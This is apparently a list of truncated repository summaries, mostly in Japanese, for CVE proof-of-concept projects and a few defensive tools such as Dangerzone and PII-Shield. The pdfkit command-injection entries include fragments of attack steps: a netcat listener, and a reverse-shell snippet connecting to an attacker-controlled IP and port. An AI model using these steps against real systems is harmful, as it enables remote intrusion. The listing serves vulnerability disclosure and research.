CVE-2021-38602

CVE-2021-38602 PluXML バージョン 5.8.7 の記事編集ページに、保存型クロスサイトスクリプティング（Stored XSS）の脆弱性が存在します。複数のフィールドでユーザー入力が適切にサニタイズされていません。 脆弱性のあるフィールド: 見出し（任意）: コンテンツ: 挿入後、ページ上部近くの Link to article: に記載されたリンクから公開された記事にアクセスすると、XSS がトリガーされます。 見出しの保存型 XSS の例 コンテンツの保存型 XSS の例...

cve-2024-21534

POC - CVE-2024-21534 Jsonpath-plus は不適切な入力サニタイズによりリモートコード実行（RCE）に対して脆弱です 概要 CVE-2024-21534 は、jsonpath-plus パッケージの 10.0.0 より前のバージョンに見つかった重大な脆弱性です。この脆弱性は不適切な入力サニタイズに起因し、影響を受けるシステム上でリモートコード実行（RCE）を引き起こす可能性があります。この脆弱性は認証なしで悪用される可能性があるため、特に危険です。攻撃者は特別に細工された入力を送信することで、サーバー上で任意のコードを実行できます。この問題は Node.js ...

CVE-2023-24278

CVE-2023-24278 - Squidex の反射型 XSS 脆弱性 概要 CVE ID: CVE-2023-24278 影響を受ける製品: Squidex 7.4.0 より前のバージョン 報告者: Ioannis Christodoulakos このリポジトリは、Squidex オープンソースヘッドレス CMS ソフトウェアで発見された 2 つの反射型クロスサイトスクリプティング XSS 脆弱性に関する情報とエクスプロイトを提供します。これらの脆弱性は 7.4.0 より前のすべてのバージョンに影響し、攻撃者が /squid.svg...

CVE-2024-9264

🚨 CVE-2024-9264 - Grafana SQLインジェクションによるリモートコード実行RCEとファイル読み取り CVE-2024-9264 のエクスプロイトツール。Grafanaの重大な脆弱性 で、認証された攻撃者がSQLクエリを実行し、RCEに至る可能性があります。 🛡️ このツールは厳格に教育目的 および許可されたペネトレーションテスト のために使用されます。 許可されていない使用は違法かつ非倫理的です。 🧠 脆弱性の概要 🕳️ CVE-2024-9264とは？ CVE-2024-9264...

node-pdf-generator-ssrf

CVE-2020-7740 これは、node-pdf-generator パッケージのすべてのバージョンに影響します。node-pdf-generator に渡されるコンテンツに対するユーザー入力の検証とサニタイズが不足しているため、攻撃者は外部サーバーに渡されるURLを作成し、SSRF攻撃を可能にすることができます。 ソース Docker を使ったクイックスタート 1. コンテナをビルドします 2. docker run -p 3000:3000 cve-2020-7740 でコンテナを実行します 3. localhost:3001 には直接アクセスできないことに注意してください 4...

PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 コマンドインジェクション。 pdfkit パッケージは、URL が適切にサニタイズされていないため、コマンドインジェクションに対して脆弱です。 注: この問題は 0.8.7.2 でパッチが当てられましたが、そのパッチは効果がないことが判明しました。更新されたパッチバージョンは 0.8.7.2 です。 PoC HTTP サーバーを起動する python3 -m http.server 80 netcat リスナーを起動する nc -nlvp 4444 CURL でリクエストを送信する curl...

cuFuzz

cuFuzz 本仓库包含 cuFuzz 的工件，cuFuzz 是一个面向用户态 CUDA 应用程序、面向 GPU 的覆盖率引导模糊测试器。cuFuzz 将主机端和设备端覆盖率收集与 sanitizer 处理相结合，以有效发现 CUDA 程序中的缺陷。 仓库结构 cufuzz-artifacts/ ├── src/ Core cuFuzz components │ ├── cufuzzcovnvbit/ NVBit-based device-side coverage collection tool │ └── cufuzzsand/ Sanitizer wrappers for SAND...

SafeText

SafeText ゼロ幅文字やホモグリフを除去することで、匿名情報源からの文書を安全に配布するためのテキストをサニタイズするツール。 メールやその他のテキストファイルをリークしようとする個人は、フィンガープリンティングを通じて特定されるリスクに直面します。 フィンガープリンティングは、文書の元の配布者が何らかのカナリアを埋め込んでいる場合によく発生します。 例えば、イーロン・マスクが2008年にリークに対して送ったメールでは、従業員ごとに微妙に異なる表現が使われていました。...

dangerzone

Dangerzone 潜在的に危険な PDF、オフィス文書、または画像を安全な PDF に変換します。 | ---|--- Dangerzone はこのように動作します。信頼できるかどうかわからない文書（例えばメールの添付ファイル）を渡します。サンドボックス内で、Dangerzone はその文書を PDF に変換し（まだ PDF でない場合）、その後 PDF を生のピクセルデータに変換します。これは各ページの RGB カラー値の巨大なリストです。そしてサンドボックスの外で、Dangerzone はこのピクセルデータを受け取り、再び PDF に変換します。 Dangerzone...

CVE-2023-30547

CVE-2023-30547 PoC利用——VM2沙箱逃逸漏洞 alt img 描述 vm2 3.9.17 因异常清理机制缺陷而存在任意代码执行漏洞。攻击者可通过在 handleException 中触发未清理的主机异常来利用此漏洞，从而逃逸沙箱并在主机上下文中执行任意代码。 VM2-Exploit ⚠️ 建议使用 "VM2-Exploit " 工具，该工具可用来利用 所有版本 的 VM2，且易于使用。 判断目标是否存在漏洞 在沙箱中运行以下代码，判断目标是否存在漏洞。 const version = require"vm2/package.json".version; if versio...

CVE-2025-52688

CVE-2025-52688 影響を受ける製品 Alcatel AP13161 - エンタープライズWIFIアクセスポイント 概要 ここでは主に2つの脆弱性が取り上げられています： 複数のJSON Webパラメータにおける入力サニタイズの欠如により、; のような悪意のある文字が注入され、コマンドインジェクション攻撃を引き起こす可能性があります。 fileName パラメータにおける適切なサニタイズとアクセス制御の欠如により、サーバー上の不正な任意ファイル読み取りが可能になります。 この脆弱性は、CSA（シンガポールサイバーセキュリティ庁）とNTUが主催したSPIRICYBER-24...

pii-shield

PII-Shield 🛡️ Zero-code log sanitization sidecar for Kubernetes. Prevents data leaks GDPR/SOC2 by redacting PII from logs before they leave the pod. PII-Shield runs in-process — CLI, sidecar, or WASM. There is no hosted API and no server your data is sent to. Same name, different projects. This is...

CVE-2025-28074

CVE-2025-28074 推奨される説明 phpList 3.6.3 より前のバージョンは、lt.php の不適切な入力サニタイズにより、クロスサイトスクリプティング（XSS）に対して脆弱です。この脆弱性は、アプリケーションが内部パスを動的に参照し、エスケープなしで信頼できない入力を処理する場合に悪用可能であり、攻撃者が悪意のある JavaScript を注入できるようになります。 追加情報 この脆弱性は、アプリケーションが内部パスを動的に参照する場合にのみ悪用可能です。攻撃者がパスパラメータまたは同様の参照メカニズムに影響を与えることができる場合、悪意のある入力を注入して、反射型...

CVE-2021-37787

CVE-2021-37787: 通过TinyMCE模块实现ABOCMS中的SQL注入 漏洞详情 CVE ID : CVE-2021-37787 产品 : ABOCMS 受影响版本 : 5.8.x, ≤5.9.3 漏洞类型 : SQL注入 CVSS评分 : 9.8 描述 ABOCMS的TinyMCE模块中存在一个严重的SQL注入漏洞。该漏洞是由于TinyMCE模块与数据库交互时输入清理不足导致的，允许攻击者注入恶意的SQL查询。这可能导致未经授权的数据访问、修改，甚至完全入侵底层数据库。 脆弱端点位于TinyMCE模块处理用户输入的过程中。攻击者可以利用此缺陷执行任意SQL命令。 影响...

Instagram-Notes-Audio-Leakage-via-URL-Extraction-Fixed

🎙️ Instagram Notes の音声漏洩：URL抽出による脆弱性（修正済み・報酬あり） 🛡️ 脆弱性の概要 05/2025 に、Instagram Web で、任意のユーザーが Note から元の動画ファイル を抽出し、公開されるべきでなかった背景音声 にアクセスできる脆弱性を発見しました。これは、動画が無音で表示されることを想定している Notes 機能のプライバシーモデルを回避するものでした。 ⚠️ 本脆弱性は責任を持って開示され、検証され、修正されました 。 バグ報奨金プログラムを通じて Meta に報告し、この発見に対して $1000 を獲得しました。 ケースID:...

Sooty

概要 Sootyは、SOCアナリストのワークフローの一部を自動化するために開発されたツールです。Sootyの目標の1つは、可能な限り多くのルーチンチェックを実行し、アナリストが同じ時間枠内でより深い分析に費やす時間を増やすことです。Sootyの多くの機能の詳細は以下をご覧ください。 Sootyは現在、Tines.comによってサポートされています！エンタープライズセキュリティチーム向けSOARプラットフォームです。 目次 現在の機能 要件とインストール 開発 変更履歴 ロードマップ コントリビューター Sootyの現在の機能: メールで安全に送信できるようにURLをサニタイズする...

CVE-2022-21661-Technical-Analysis

CVE-2022-21661 の概要 CVE-2022-21661 は WordPress で発見された SQL インジェクションの脆弱性であり、特にバージョン 5.8.3 未満に影響します。この脆弱性は、カスタムデータベースクエリに使用される WPQuery クラスにおける不適切なサニタイズに起因します。 これは古典的な SQL インジェクション脆弱性であり、攻撃者が悪意のある入力を注入してデータベースクエリを操作することを可能にします。これにより、機密データへの不正アクセス、データの改ざん、さらには影響を受ける WordPress サイトの完全な侵害につながる可能性があります。 CV...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL経由（太字 の値を変更）: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

EUVD-2026-91967

The Twenty20 Image Before-After plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'offset' Shortcode Attribute in all versions up to, and including, 2.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with...

CVE-2025-44148

CVE-2025-44148 - 反射型クロスサイトスクリプティング（Reflected XSS） MailEnable における反射型クロスサイトスクリプティング（XSS） ベンダー: MailEnable Pty. Ltd. 影響を受けるバージョン: 10 説明 MailEnable Webmail には、failure.aspx における不適切なユーザー入力のサニタイズ処理に起因する反射型クロスサイトスクリプティング（XSS）の脆弱性が存在します。これにより、リモートの攻撃者が細工された URL を介して任意の JavaScript...